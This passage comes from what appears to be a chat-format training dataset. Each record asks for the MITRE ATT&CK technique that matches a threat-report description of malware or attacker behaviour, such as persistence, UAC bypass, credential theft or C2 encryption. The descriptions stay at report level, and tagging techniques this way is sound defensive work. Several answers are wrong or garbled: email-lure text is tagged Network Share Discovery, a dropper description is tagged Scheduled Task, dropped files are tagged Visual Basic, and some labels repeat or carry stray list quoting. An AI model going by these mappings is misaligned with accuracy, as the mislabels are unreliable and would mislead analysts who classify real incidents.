                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First-stage analysis . When the user opens the phishing email, it presents a Spanish social engineering message (\"Payment: Find scheduled payment dates attached\"). The figure below shows a screenshot of one of the emails we looked at. It decrypts the URL for the second-stage from hardcoded bytes, saves it to the \"Templates\" folder, and executes it. Second-stage analysis . The second-stage executable is packed with a Delphi-based packer. The DLL sets a timer, as shown below, which will execute the downloader function periodically. The DLL decodes the hex string using the following steps: We have written a small Python script to decrypt the third stage. The same decryption method was also used to decrypt the hardcoded command and control (C2).The resulting file is also a DLL, which the second stage reflectively loads. Injected DLL analysis (UAC bypass using two techniques) . It checks if `C:\\Windows\\Finex` exists. Decrypting and executing Lokibot . After attempting to bypass the UAC, the third-stage DLL will check if `AutoRunKeyFlag` is set. For this DLL, it is not set. This dropper uses three stages and three layers of encryption to hide its final payload"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT encodes C2 communications with base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX/Shlayer can escalate privileges to root by asking the user for credentials."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "zwShell has used SchTasks for execution."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In August 2019, FireEye released the “Double Dragon” report on our newest graduated threat group, APT41. A China-nexus dual espionage and financially-focused group, APT41 targets industries such as gaming, healthcare, high-tech, higher education, telecommunications, and travel services. APT41 is known to adapt quickly to changes and detections within victim environments, often recompiling malware within hours of incident responder activity. In multiple situations, we also identified APT41 utilizing recently-disclosed vulnerabilities, often weaponzing and exploiting within a matter of days."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Vulnerability Scanning', 'T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An RTF, an MSI file, a .NET Wrapper and two stages of Shellcode walk into a bar… Our journey begins with an RTF file named “New Salary Structure 2017.doc”, which exploits CVE-2017-0199"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork has added the path of its second-stage malware to the startup folder to achieve persistence. One of its file stealers has also persisted by adding a Registry Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury has encrypted C2 traffic using the client IP address, then encoded it as a hexadecimal string."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The two dropped artifacts – a payload DLL and a Word document – are written to the “Users\\&lt;Log on User&gt;\\” folder (the document will replace the opened malicious document with clean stub after killing the running Word process"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On Tuesday, Jan. 11, 2022, Emotet resumed spamming after its holiday break. The emails continued with links to fake complaint pages, and the pages were sometimes customized to include the recipient’s name. This method was prevalent until Jan. 20."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link', 'T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury can deactivate PAM modules to tamper with the sshd configuration."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy stores all collected information in a single file before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanoCore can modify the victim's anti-virus."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All trusted domains, domains, and domain controllers - A list of computers and network devices on the network - The infected machine user and groups the user belongs to - The infected machine, including machine name, operating system, workstation domain, and more information - Network adapters that have connected to the machine and DNS servers"
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery', 'T1033 - System Owner/User Discovery', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has the ability to distinguish between a standard user and an administrator on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type has uploaded data and files from a compromised host to its C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collected the victim username and whether it was running as admin, then sent the information to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has used DLL side-loading to execute its payload."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOBELIUM, with existing administrative permissions, was observed to drop a malicious loader named version.dll in the %WinDir%\\ADFS\\ folder where the AD FS service executable Microsoft.IdentityServer.ServiceHost.exe is located. Once the system or the AD FS service is restarted, Microsoft.IdentityServer.ServiceHost.exe loads mscoree.dll, which in turn loads mscoreei.dll. As mentioned above, mscoreei.dll has a delay load import named version.dll"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Specifically, the following GitHub repositories appear to be controlled by the MuddyWater threat actor(s):  [unknown SHA256]  Downloads payload from: hxxps://raw.githubusercontent[.]com/F0R3X/BrowserFontArabic/master/ArabicBrowserFont.exe   [unknown SHA256]  Downloads payload from: hxxps://raw.githubusercontent[.]com/F0R3X/BrowserFontArabic/master/FontArabic.exe     9b5e36bb7518a9e333c31d09b589102f89e3425571dd434820ab3c437dc4e0d9 (and several others)  Downloads payload from: hxxps://raw.githubusercontent[.]com/ReactDeveloper2017/react/master/src/test/test.js    Interestingly, both profiles were populated with forked repositories to give them an air of legitimacy as shown in figure 2"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 can use Invoke-RunAs to make tokens."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "yty establishes persistence by creating a scheduled task with the command \"SchTasks /Create /SC DAILY /TN BigData /TR “ + path_file + “/ST 09:30“\"."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack’s can download and upload a file to the victim’s computer."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Every time the malware runs a command using cmd.exe, the standard output (STDOUT) of the executed command is piped and written to a Google Drive account with the following filename format"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the  installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following successful infiltration, the malware persists through registry: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run The command line execution leads to PowerShell code executed from a different registry value ."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer attempts to perform an HTTP CONNECT via an internal proxy to establish a tunnel."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Action RAT has the ability to collect the username from an infected host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrifeWater can enumerate files on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro contains malicious code that attempts to download content from a remote server"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BadPatch searches for files with specific file extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads an executable and injects it directly into a new process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware attempts to determine the installed version of .NET by querying the Registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used ipconfig, Ping, and \"tracert\" to enumerate the IP address and network environment and settings of the local host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy gathers the current time zone and date information from the system."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "!DWN  Downloads a file from a specified URL"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has stolen copies of the Active Directory database (NTDS.DIT)."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tomiris is a backdoor written in Go whose role is to continuously query its C2 server for executables to download and execute on the victim system. Before performing any operations, it sleeps for at least nine minutes in a possible attempt to defeat sandbox-based analysis systems"
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShell Script “58d2a83f777942.26535794.ps1” is a multilayer obfuscated PowerShell script, which launches shellcode for a Cobalt Strike stager"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The “Documents,” “Downloads,” “Desktop,” and “Pictures” folders of every user are checked. The DLL file also examines drives other than C"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hikit has attempted to disable driver signing verification by tampering with several Registry keys prior to the loading of a rootkit driver component."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has used JS scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can inject itself into running processes on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LiteDuke has been packed with multiple layers of encryption."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D has a command to delete a file from the system. OSX_OCEANLOTUS.D deletes the app bundle and dropper after execution."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used NBTscan and custom tools to discover remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peirates can initiate a port scan against a given IP address."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Andariel has used the \"netstat -naop tcp\" command to display TCP connections on a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These are later used by the attackers to send targeted emails to the victims, with the obtained information being used to lure victims into opening those emails"
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "network loader encrypts C2 traffic with RSA and RC6."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "L“ServicesActive”: This string is passed to the OpenSCManagerW API to retrieve active services. expand 32-byte kexpand 16-byte”: The constants used by the Salsa20 symmetric encryption algorithm"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pony has collected the Service Pack, language, and region information to send to the C2."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol has Base64 encoded the RSA public key used for encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dark Caracal makes their malware look like Flash Player, Office, or PDF documents in order to entice a user to click on it."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyZBot can disable Avira anti-virus."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar adds a .lnk file to the Windows startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can download additional files onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader searches for files named logins.json to parse for credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has deleted tmp and prefetch files during post compromise cleanup activities."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 2: Excerpt of an APT33 malicious .hta file We assess APT33 used a built-in phishing module within the publicly available ALFA TEaM Shell (aka ALFASHELL) to send hundreds of spear phishing emails to targeted individuals in 2016"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer can suppress UAC prompts by setting the \"HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command\" registry key on Windows 10 or \"HKCU\\Software\\Classes\\mscfile\\shell\\open\\command\" on Windows 7 and launching the \"eventvwr.msc\" process, which launches BitPaymer with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whitefly has used a simple remote shell tool that will call back to the C2 server and wait for commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has spammed target users with MFA prompts in the hope that the legitimate user will grant necessary approval."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spearphishing Attachment (ATT&amp;CK T1193) is one of the most used Initial Access techniques used by ransomware families as in Sodinokibi. Attackers use spam emails with an attached MS Office Word document including a malicious macro to download the ransomware to the target system. In order to show the lifecycle of Sodinokibi ransomware, we analyzed a Microsoft Word document. Sodinokibi is a “Ransomware-as-a-Service (RAAS) malware, so its distribution methods vary depending on the attacker distributing it"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Lizar server application, meanwhile, is written using the .NET framework and runs on a remote Linux host, researchers said. It supports encrypted communications with the bot client"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkHydrus used Template Injection to launch an authentication window for users to enter their credentials."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can download and execute AdvancedRun.exe to disable the Windows Defender Theat Protection service and set an exclusion path for the C:\\ drive."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "High resolution screenshots of specified process windows and when recording VoiceIP application audio"
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use HTTP and DNS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has used HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
